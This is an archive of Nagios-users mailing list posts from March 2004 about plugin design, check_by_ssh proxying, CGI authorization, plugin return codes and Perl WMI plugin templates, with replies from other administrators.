version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joerg.helmert at aracomp.de Tue Mar 23 23:22:09 2004 From: joerg.helmert at aracomp.de (joerg.helmert at aracomp.de) Date: Tue, 23 Mar 2004 23:22:09 +0100 Subject: New Module IDEA In-Reply-To: <1080063742.27687.53.camel@localhost> References: <1080063742.27687.53.camel@localhost> Message-ID: <000601c41125$490b5c80$65fea8c0@cc.local> Hi Jeff, I like the idea of checking multiple things with one service definition. I compare it to the way, check_disk works. I would not like to define a service for each mounted disk ;-) But with check_disk you see a possible solution for passing back the results of a "multicheck" to nagios. Each single check_result is enclosed in "[]". What is missing, is the state of the single check. (at least this is what I remember from the last time I had a CRITICAL on free disk space). I'm currently writing a plugin to check /proc/meminfo on Linux. Maybe this has already been done, but I use it as easy enough to learn. There I extended the idea of passing results enclosed in "[]". I add one "!" for WARNING state and two ("!!") for critical. E.g. [www.statOK.com][!www.stateWARNING.com][!!www.stateCRITICAL.com] Its not to easy readeable in Nagios' status output, but if that multicheck is CRITICAL one'll of course have a close look. I think, this would also help with the Email problem. You would have to send only Plugin Result within your email and have all information. Also response time could be added. E.g [www.first.com 0.123s][www.slow.com 8.456s] What do you think about that? Of course suppressing the good ones is also possible with that plugin output but may not be needed. I saw another approach within the sap-plugins, available from one of Suse's ftp-servers. Since nagios does only show the first line of plugin output, these plugins are able to return results in a html-table. This is done using nagios style sheets so that output of a single check is colorized according its own state. They send html-table structures instead of "\n" so Nagios "thinks" it is one line. But in html it is more than one. I'm currently testing this too with my plugin for /proc/meminfo. It has an option -t (stands for tabular). If this option is set, the erroneous results are shown in an html-table. I also added -t all which shows every single check and ist result in correct state color as plugin output. There's one caveat: The html output produces lots of unvisible characters, which will be counted against MAX_PLUGIN_OUTPUT and another limiting value (currently at home, can provide it tommorrow). Default is around 380 characters. So output of big tables will be truncated. I increased these values up to 2048. Again, what do you think? One thing at the end: I think the approach with a shell script checking urls one by one has one caveat: If several urls show slow response times, the plugin will need a long time to finish. I'm testing with www.yahoo.com and had response times up to 8 seconds till now. I saw even more on high loaded pages fed from databases. Solution would be, to run the checks in parallel. Do you think it is woth the effort? Maybe it would be better to change from bash to something else? Sorry for the lengthy email, Happy checking, Joerg > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of jeff vier > Sent: Tuesday, March 23, 2004 6:42 PM > To: Josh > Cc: nagios-users > Subject: Re: [Nagios-users] New Module IDEA ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Tue Mar 23 23:28:26 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Tue, 23 Mar 2004 16:28:26 -0600 Subject: check_by_ssh question In-Reply-To: References: Message-ID: <1080080906.4744.22.camel@localhost.localdomain> Thanks for the response. Are you using check_by_ssh for indirect checks? I'm curious about the issues with remote networks and firewalls. For example, I'd like to setup check_by_ssh to tunnel into a machine that can in turn check_by_ssh the other machines in the network. Can someone explain the following to me? It's a stub from the output of 'check_by_ssh -h'. Perhaps an example would help? "If the remote SSH server tracks invocation agruments, the one remote program may be an agent that can execute additional commands as proxy To use passive mode, provide multiple '-C' options, and provide all of -O, -s, and -n options (servicelist order must match '-C' options)" Thanks, Arnold On Tue, 2004-03-23 at 15:52, Matt Pounsett wrote: > On Tue, 23 Mar 2004, Arnold Cano wrote: > > > allowing shell access? Cygwin perhaps? I realize the initial setup will > > require the public keys and null passphrase to be setup but that seems > > worth it for the security and ongoing maintenance. Am I missing > > anything? Is there a better way? > > I'm not using check_by_ssh for any windows servers, since the only things I > need to directly check on them are remotely-accessible services (smb and so > forth).. however, I am using check_by_ssh extensively with all of our unix > servers. It seemed to me to be the best way to do things, since all methods > require *some* work on the client machines (installing check scripts, at a > minimum), and other methods (such as NRPE) don't provide the same level of > security. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 23 23:34:48 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 23 Mar 2004 23:34:48 +0100 Subject: [Fwd: auth/auth help] In-Reply-To: <40608F6E.3040701@charter.net> References: <40608F6E.3040701@charter.net> Message-ID: <4060BB88.80402@op5.se> Resending is bad. Nevertheless, it might have helped this time. Ron Huff wrote: > I'm resending this because I have yet to recv any reply...I don't think my > question is too odd...and I can't believe that everyone else just getting > what they expect from the authenticated cgi displays...Please, read below > > the system is RHE2.1 (tho I can't imagine it matters)... It doesn't (insofar it complies to posix standards like 'the rest'). ---[ snip ]--- > However, I find the documentation (in cgi.cfg) to be fuzzy > at best for control thru the cfg variables, and I find I don't > know what to expect. For example: > There is an online manual at www.nagios.org. > I have an authenticated 'user', NOT a contact and in the cfg > file I turn on > authorized_for_all_services > for this user...nothing else. > Problem 1; When you turn on service state access for a user you simply can't disallow him to also be aware of host status. Services are identified by host_name+service_description, since any number of hosts can (and frequently do) offer identical services. Why you would even grant only all_services but not all_hosts is a bit of a mystery to me, since you can still block the user from issuing commands by not including them in the 'authorized_for_all_[host|service]_commands' fields. > When accessing the statusmap.cgi I get no display, which is > what I expect. When I try 'Status Overview for All Hosts', I get > the msg that I can't have it, which is also expected...then > I go to 'Status Detail for All Hosts', and it shows me everything!!!??! > What gives?!? ...is there more/better documentation on these .cfg > file variable...is this a bug? No bug. 'Status details' aims at services. Most (all?) of the links in there will take you to a screen that has __service__ details on it. As discussed earlier, service info only makes sense when connected to a certain host. Imagine the 'Service Detail' without the hostnames. Not a pretty sight. > Thanks, You're welcome. > Ron Huff (also connecting thru ucdavis.edu) -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Wed Mar 24 00:01:37 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 24 Mar 2004 00:01:37 +0100 Subject: New Module IDEA In-Reply-To: <000601c41125$490b5c80$65fea8c0@cc.local> References: <000601c41125$490b5c80$65fea8c0@cc.local> Message-ID: <4060C1D1.1050300@op5.se> joerg.helmert at aracomp.de wrote: > Hi Jeff, > > I like the idea of checking multiple things with one service definition. Can be useful, but only when you have several servicechecks running toward one and the same machine (like disks, which you mention). > I compare it to the way, check_disk works. > I would not like to define a service for each mounted disk ;-) > There is however the issue of different warning levels. The root partition, which shouldn't really be written to much, needn't be checked with such strict options. Any data-gathering partitions needs be with stricter threshholds. How do you separate those? --[ snip ]-- > Of course suppressing the good ones is also possible with that plugin output > but may not be needed. > A must, if it is to scale beyond 4 jumbled service checks. > > I saw another approach within the sap-plugins, available from one of Suse's > ftp-servers. > Since nagios does only show the first line of plugin output, these plugins > are able to return results in a html-table. BAAAAD idea. If plugin output gets cut short, you get a twisted table in the web-interface windows. If this exceeds 99 levels, some web-browsers (MSIE) will crash. Also, if output exceeds 2048 chars without \n, 'undocumented things' may happen. ---[ snip ]--- > There's one caveat: > The html output produces lots of unvisible characters, which will be counted > against MAX_PLUGIN_OUTPUT and another limiting value (currently at home, can > provide it tommorrow). > Default is around 380 characters. So output of big tables will be truncated. > I increased these values up to 2048. The buffer Nagios uses to read this in is 2048 bytes wide to start with. I don't think it's any smaller in the cgi's, but if you didn't check, parsing the logs might make the cgi's crash. > > Again, what do you think? > Bad Thing. > > One thing at the end: > I think the approach with a shell script checking urls one by one has one > caveat: > If several urls show slow response times, the plugin will need a long time > to finish. > I'm testing with www.yahoo.com and had response times up to 8 seconds till > now. > I saw even more on high loaded pages fed from databases. > Solution would be, to run the checks in parallel. > Do you think it is woth the effort? No. Nagios runs checks in parallell as it is, so moving all that to a script which doesn't seems a bit silly to me. For disks I can agree, but that can be done with the use of one of two things; A) a single snmpwalk down the .1.3.6.1.2.1.25.2.3.1 tree. B) a check performed remotely, which effectively removes load from the server running the nagios core, and saves the time it takes to do the networking / handshaking part of NRPE / SSH / RSH or whatnot. > Maybe it would be better to change from bash to something else? > If you're looking for parallellization without race conditions, then yes. You'll need an industrial strength programming language for that (i.e. C or C++). Make sure you have the glibc documentation package(s) installed and do 'man pthread_create' if you're interested in how to do it properly. > Joerg > -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Wed Mar 24 00:06:47 2004 From: ae at op5.se (Andreas Ericsson) Date: Wed, 24 Mar 2004 00:06:47 +0100 Subject: check_by_ssh question In-Reply-To: <1080080906.4744.22.camel@localhost.localdomain> References: <1080080906.4744.22.camel@localhost.localdomain> Message-ID: <4060C307.30702@op5.se> check_ssh user at ssh-proxy-host -C "ssh user at ssh-target-host -C \"real command goes here\"" (yes, there's supposed to be two "'s at the end there). Using this technique has the advantage of being simple and pretty straightforward, but the obvious disadvantage of need for public, passphraseless keys to exist just about everywhere (unless you manually want to run around and run ssh-agent on all machines). If you get hacked someplace, you're network is dead and there's nothing you can do about it. Arnold Cano wrote: > Thanks for the response. Are you using check_by_ssh for indirect checks? > I'm curious about the issues with remote networks and firewalls. For > example, I'd like to setup check_by_ssh to tunnel into a machine that > can in turn check_by_ssh the other machines in the network. > > Can someone explain the following to me? It's a stub from the output of > 'check_by_ssh -h'. Perhaps an example would help? > > "If the remote SSH server tracks invocation agruments, the one remote > program may be an agent that can execute additional commands as proxy > > To use passive mode, provide multiple '-C' options, and provide > all of -O, -s, and -n options (servicelist order must match '-C' > options)" > > Thanks, > > Arnold > > On Tue, 2004-03-23 at 15:52, Matt Pounsett wrote: > >>On Tue, 23 Mar 2004, Arnold Cano wrote: >> >> >>>allowing shell access? Cygwin perhaps? I realize the initial setup will >>>require the public keys and null passphrase to be setup but that seems >>>worth it for the security and ongoing maintenance. Am I missing >>>anything? Is there a better way? >> >>I'm not using check_by_ssh for any windows servers, since the only things I >>need to directly check on them are remotely-accessible services (smb and so >>forth).. however, I am using check_by_ssh extensively with all of our unix >>servers. It seemed to me to be the best way to do things, since all methods >>require *some* work on the client machines (installing check scripts, at a >>minimum), and other methods (such as NRPE) don't provide the same level of >>security. > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mgaskin at jsi-corp.com Wed Mar 24 00:57:06 2004 From: mgaskin at jsi-corp.com (Michael Gaskin) Date: Tue, 23 Mar 2004 15:57:06 -0800 Subject: Services Message-ID: Hi all... I am getting: (removed date/time) DS Open OK Directory Services Database is open (DS version 10410.98) PING OK - Packet loss = 0%, RTA = 0.17 ms Free - SYS CRITICAL 3/3 Connection refused by host Free - APPS OK 1/3 54876 MB (94%) free on volume APPS Processor Utilization - 15 Minutes CRITICAL 3/3 Connection refused by host -=-=-=-=-= Question... Why would some services show a connection refused while the others work? Here's the services file: ## CBSRV002 define service{ use generic-service host_name cbsrv002 service_description PING is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 120 notification_period 24x7 notification_options c,r check_command check_ping!100.0,20%!500.0,60% } define service{ use generic-service host_name cbsrv002 service_description DS Open is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_nwstat!DSDB } define service{ use generic-service host_name cbsrv002 service_description Processor Utilization - 15 Minutes is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_load15!50!80 } define service{ use generic-service host_name cbsrv002 service_description Percent Free - SYS is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_percent_used_sys!10!5 } define service{ use generic-service host_name cbsrv002 service_description Precent Free - APPS is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups novell-admins notification_interval 240 notification_period 24x7 notification_options c,r check_command check_percent_used_apps!10!5 } -=-=-=- Here's the checkcommand text for the check_percent_used: define command{ command_name check_percent_used_sys command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFSYS -w $ARG1$ -c $ARG2$ } define command{ command_name check_percent_used_apps command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFAPPS -w $ARG1$ -c $ARG2A } *=-=- By the way, the two above check commands work on other servers... As well as the services listed... I've got 17 servers configured with nearly the same text... (except for server name)... Any clues would be appreciated. Take Care... ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Wed Mar 24 00:55:05 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 23 Mar 2004 18:55:05 -0500 (EST) Subject: WMI template + proc Message-ID: FYI: Attached is the WMI plugin template and an initial stab at the process list. Need to regex filters for proc name and and posible w/c thresholds for VirtualSize -- -sg -------------- next part -------------- #!/usr/bin/perl # Copyright 2004 Nagios Plugin Development Team # # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Subhendu Ghosh # # $Id: $ use Win32; use Win32::OLE qw(in); use Getopt::Long; use lib "."; use utils qw($TIMEOUT %ERRORS &print_revision &support); use constant wbemFlagForwardOnly => 0x20; use constant wbemFlagReturnImmediately => 0x10; use constant PerfFlag => wbemFlagForwardOnly | wbemFlagReturnImmediately ; my ($PROGNAME,$opt_V,$opt_h,$opt_t,$verbose,$hostname,$auth,$user,$pass, $warn,$crit,$regex,$flag,$wmi,$whd); $PROGNAME = "check_wmi_template"; $flag = PerfFlag; process_arguments(); $status = 'OK'; wmi_connect($hostname,$namespace,$user,$pass); # Main code goes here - use $whd->InstancesOf(classes) exit $ERRORS{$status}; ################################################################### #Subs sub wmi_connect { my $host = shift ; # hostname my $ns = shift ; # namespace my $us = shift ; # username my $pw = shift ; # password my $err; $wmi = Win32::OLE->new('WbemScripting.SWbemLocator'); $whd = $wmi->ConnectServer($host,$ns,$us,$pw); $err = $Win32::OLE->LastError(); if ($err) { print "Connect error: $err"; exit $ERRORS{'UNKNOWN'}; } } sub process_arguments{ Getopt::Long::Configure('bundling'); Getopt::Long::Configure("prefix_pattern=(-|\/)" ); # windows style options my $status = GetOptions( "V" => \$opt_V, "version" => \$opt_V, "h" => \$opt_h, "help" => \$opt_h, "v" => \$verbose, "verbose" => \$verbose, "t=i" => \$opt_t, "timeout=i" => \$opt_t, "H=s" => \$hostname,"hostname=s"=> \$hostname, "n=s" => \$namespace, "namespace=s" => \$namespace, "a=s" => \$auth, "auth=s" => \$auth, "w=i" => \$warn, "warn=i" => \$warn, "c=i" => \$crit, "critical=i" => \$crit, "r=s" => \$regex, "regex=s" => \$regex, ); if (defined $opt_V) { print_revision( $PROGNAME, '$Revision: $'); exit $ERRORS{'OK'}; } if (defined $opt_h) { print_help(); exit $ERRORS{'OK'}; } unless (defined $hostname){ syntax("No hostname specified!"); } if (defined $auth){ ($user,$pass) = split(/:/,$auth); } unless ( defined $namespace){ $namespace = 'root\cimv2'; } if (defined $warn || defined $crit) { unless( $crit> $warn) { syntax("Critical must be greater than warning!") } } } sub print_help { print "$PROGNAME -H \n"; print " -H (--hostname) Hostname to connect to.\n"; print " -a (--auth) \"username:password\" credentials \n"; print " You can specify username as domain\username as well\n"; print " -n (--namespace) WMI Namespace to connect to (default:root\cimv2)\n"; print " -w (--warning) Warning threshold\n"; print " -c (--critical) Critical threshold\n"; print " -v (--verbose) Testing mode with debugging info.\n"; print " -V (--version) print version info\n"; print " -t (--timeout) Timeout \n"; print " -h (--help) This help screen\n"; } sub syntax { my $str = shift; print "Syntax error: $str\n"; exit $ERRORS{'UNKNOWN'}; } -------------- next part -------------- #!/usr/bin/perl # Copyright 2004 Nagios Plugin Development Team # # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Author: Subhendu Ghosh # # $Id: $ use Win32; use Win32::OLE qw(in); use Getopt::Long; use lib "."; use utils qw($TIMEOUT %ERRORS &print_revision &support); use constant wbemFlagForwardOnly => 0x20; use constant wbemFlagReturnImmediately => 0x10; use constant PerfFlag => wbemFlagForwardOnly | wbemFlagReturnImmediately ; my ($PROGNAME,$opt_V,$opt_h,$opt_t,$verbose,$hostname,$auth,$user,$pass, $warn,$crit,$regex,$nregex,$flag,$wmi,$whd); $PROGNAME = "check_win32_wmi_process"; $flag = PerfFlag; process_arguments(); $status = 'OK'; wmi_connect($hostname,$namespace,$user,$pass); $coll = $whd->InstancesOf("Win32_Process", $flag); if (!$@ && defined $coll){ foreach $PInst ( in $coll) { if ($verbose) { print "$PInst->{'Name'}\t$PInst->{'ProcessId'}\t$PInst->{'ThreadCount'}\t$PInst->{'VirtualSize'}\n"; } } }else{ $status = 'CRITICAL'; print "WMI_Proc $status:", Win32::OLE->LastError(), "\n"; } exit $ERRORS{$status}; ################################################################### #Subs sub wmi_connect { my $host = shift; # hostname my $ns = shift || 'root\cimv2' ; # namespace my $us = shift || '' ; # username my $pw = shift || '' ; # password my $err; print "$host,$ns,$us,$pw" if $verbose; $wmi = Win32::OLE->new('WbemScripting.SWbemLocator'); $whd = $wmi->ConnectServer($host,$ns,$us,$pw); $err = Win32::OLE->LastError(); if ($err) { print "Connect error: $err"; exit $ERRORS{'UNKNOWN'}; } } sub process_arguments{ Getopt::Long::Configure('bundling'); Getopt::Long::Configure("prefix_pattern=(-|\/)" ); # windows style options my $status = GetOptions( "V" => \$opt_V, "version" => \$opt_V, "h" => \$opt_h, "help" => \$opt_h, "v" => \$verbose, "verbose" => \$verbose, "t=i" => \$opt_t, "timeout=i" => \$opt_t, "H=s" => \$hostname,"hostname=s"=> \$hostname, "a=s" => \$auth, "auth=s" => \$auth, "n=s" => \$namespace, "namespace=s" => \$namespace, "w=i" => \$warn, "warn=i" => \$warn, "c=i" => \$crit, "critical=i" => \$crit, "r=s" => \$regex, "regex=s" => \$regex, "n=s" => \$nregex, "nregex=s" => \$nregex, ); if (defined $opt_V) { print_revision( $PROGNAME, '$Revision: $'); exit $ERRORS{'OK'}; } if (defined $opt_h) { print_help(); exit $ERRORS{'OK'}; } unless (defined $hostname){ syntax("No hostname specified!"); } if (defined $auth){ ($user,$pass) = split(/:/,$auth); print "user = $user\npass = $pass\n" if $verbose; }else{ $user = ''; $pass = ''; } unless ( defined $namespace){ $namespace = 'root\cimv2'; } if (defined $warn || defined $crit) { unless( $crit> $warn) { syntax("Critical must be greater than warning!") } } } sub print_help { print "$PROGNAME -H \n"; print " -H (--hostname) Hostname to connect to.\n"; print " -a (--auth) \"username:password\" credentials \n"; print " You can specify username as domain\username as well\n"; print " -n (--namespace) WMI Namespace to connect to (default:root\\cimv2)\n"; print " -w (--warning) Warning threshold\n"; print " -c (--critical) Critical threshold\n"; print " -v (--verbose) Testing mode with debugging info.\n"; print " -V (--version) print version info\n"; print " -t (--timeout) Timeout \n"; print " -h (--help) This help screen\n"; } sub syntax { my $str = shift; print "Syntax error: $str\n"; exit $ERRORS{'UNKNOWN'}; } From joerg.helmert at aracomp.de Wed Mar 24 01:08:58 2004 From: joerg.helmert at aracomp.de (joerg.helmert at aracomp.de) Date: Wed, 24 Mar 2004 01:08:58 +0100 Subject: New Module IDEA In-Reply-To: <4060C1D1.1050300@op5.se> References: <4060C1D1.1050300@op5.se> Message-ID: <000a01c41134$34e83020$65fea8c0@cc.local> ==> lots of text from previous mail snipped!!! > joerg.helmert at aracomp.de wrote: > > Hi Jeff, > > > > > There is however the issue of different warning levels. The root > partition, which shouldn't really be written to much, needn't > be checked > with such strict options. Any data-gathering partitions needs be with > stricter threshholds. How do you separate those? Didn't play with check_disk yet. As said, trying something simpler for me to learn... ;-) There I pass something I call mode, what to check ==> -m mf,sf for check memory free and swap free. Thresholds then are also passed as list ==> -m mf,sf -w 80,30 -c 90,40 (just some numbers, no real values) Of course it wouldn't be fun to pass a lot of mountpoints and thresholds that way. Mabe I would go via config file then... I currently pass up to 9 modes/warninglimits/criticallimits that way. > > html-table. > BAAAAD idea. If plugin output gets cut short, you get a > twisted table in > the web-interface windows. If this exceeds 99 levels, some > web-browsers > (MSIE) will crash. > Also, if output exceeds 2048 chars without \n, 'undocumented > things' may > happen. Correct, learned it the hard way ;-) One of these sap-plugins easily creates 70 kBytes of output... MSIE didn't crash. Guess I didn't reach 99 levels. I would see this as an additional task for the plugin, to check its output lenght. Of course one has to think about how to handle the missed informtion cause the plugin will suppress something if it limits its output itself. But I really like, seeing colorized what is important and gray whats less important. Anyway, I don't see this as the one and only approach, just an option... > The buffer Nagios uses to read this in is 2048 bytes wide to > start with. > I don't think it's any smaller in the cgi's, but if you didn't check, > parsing the logs might make the cgi's crash. > Following values from nagios 2.0a changed MAX_INPUT_BUFFER 1024 (common.h) and MAX_PLUGINOUTPUT_LENGTH 350 (objects.h) Otherwise output was truncated ==> the mentioned uggly table ;-) Saw others on the list doing this without mentioning problems. Gave me the idea what values to change... Currently no problems in the cgi's, but didn't check all the availability and trend cgi's. But I wouldn't want to increase far beyond 2048... Therfore I would limit this to arround 10 or so checks per service definition Just good enough for some memory values or my APC-UPSes or some disks or... Really not perfect for lots of URLs... > > One thing at the end: > > I think the approach with a shell script checking urls one > by one has > > one ==>snipped > > Solution would be, to run the checks in parallel. > > Do you think it is woth the effort? > No. Nagios runs checks in parallell as it is, so moving all that to a > script which doesn't seems a bit silly to me. For disks I can > agree, but > that can be done with the use of one of two things; > A) a single snmpwalk down the .1.3.6.1.2.1.25.2.3.1 tree. > B) a check performed remotely, which effectively removes load > from the > server running the nagios core, and saves the time it takes to do the > networking / handshaking part of NRPE / SSH / RSH or whatnot. > True, of course. But if you decide to use "multichecks", then you break nagios' smart scheduling. So using things like that might force you to reimplement things, nagios is already doing... You see, I like that colorization that much, that I would agree to several disadvantages. Just me, maybe not mainstream... Bye, Joerg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 24 01:17:43 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 23 Mar 2004 19:17:43 -0500 Subject: Service Configuration Question In-Reply-To: <20040323142418.12040.qmail@minnow.softflare.net> References: <405F5F9E.6000303@op5.se> <20040323142418.12040.qmail@minnow.softflare.net> Message-ID: <20040323191743.548e9bdd.karl@debisschop.net> On Tue, 23 Mar 2004 14:24:18 +0000 "Paul L. Allen" wrote: > Michael Eck writes: > > > 0 - OK - The plugin was able to check the service and it appeared to > > be functioning properly > > > > 1 - Warning -The plugin was able to check the service, but it > > appeared to be above some "warning" threshold or did not appear to > > be working properly > > > > 2 - Critical - The plugin detected that either the service was not > > running or it was above some "critical" threshold > > > > 3 - Unknown - Invalid command line arguments were supplied to the > > plugin or the plugin was unable to check the status of the given > > hosts/service On Mar 22, 2004, at 4:50 PM, Andreas Ericsson wrote: > > 4 - Dependent - Nothing in the documentation I've looked through > suggests under what circumstances this should be used, but it's in > utils.pm depenedent is used internally by a few plugins to mean "I'm still trying to figure out what state to report" -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 24 01:22:59 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 23 Mar 2004 19:22:59 -0500 Subject: Service Configuration Question In-Reply-To: <40604C23.3020200@op5.se> References: <405F5F9E.6000303@op5.se> <40604C23.3020200@op5.se> Message-ID: <20040323192259.31b42166.karl@debisschop.net> On Tue, 23 Mar 2004 15:39:31 +0100 Andreas Ericsson wrote: > You misread me. > Ofcourse threshhold values should be accepted, and they are. > > Michael Eck wrote: > > Unless my source is not authoritative in this matter, plugin return > > codes can also be used to communicate to Nagios when a value has > > surpassed a certain threshold. See the Nagios plug-in development > > guidelines for more information on what I'm talking about > > (http://nagiosplug.sourceforge.net/developer-guidelines.html). > > > You misread me. What I said was that a plugin shouldn't return UNKNOWN > > unless the user has passed it bad arguments or something isn't > installed properly (file missing, et al). > > > Further, checking an SNMP gauge and reporting OK merely on the > > condition that proper parameters were passed to the plugin and some > > value was received by the check would make for a totally worthless > > checking logic. > Again, that's not what I said. But if the plugin can't fetch any data > at ALL (snmpget times out), it's supposed to return CRITICAL and not > UNKNOWN. That sort of depends - if you are checking the status of snmp, then yes. But say you are trying to find out if a disk is full, whether or not snmp is running has very little to do with whether the disk is full -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mls at freemail.gr Wed Mar 24 04:05:58 2004 From: mls at freemail.gr (Anastasios Zafeiropoulos) Date: Wed, 24 Mar 2004 05:05:58 +0200 Subject: Host Dependency Logic Message-ID: <000c01c4114c$ef544300$d0ac673e@laptop> Hello world, I'm having trouble with a Host dependency misconfiguration or why not, with a bug in Nagios' Dependency logic process and notification. I am using version nagios-1.2-0.rhfc1.dag which was a prebuilt package from Dag Apt repository site. =================================================== My Topology: =================================================== Nagios 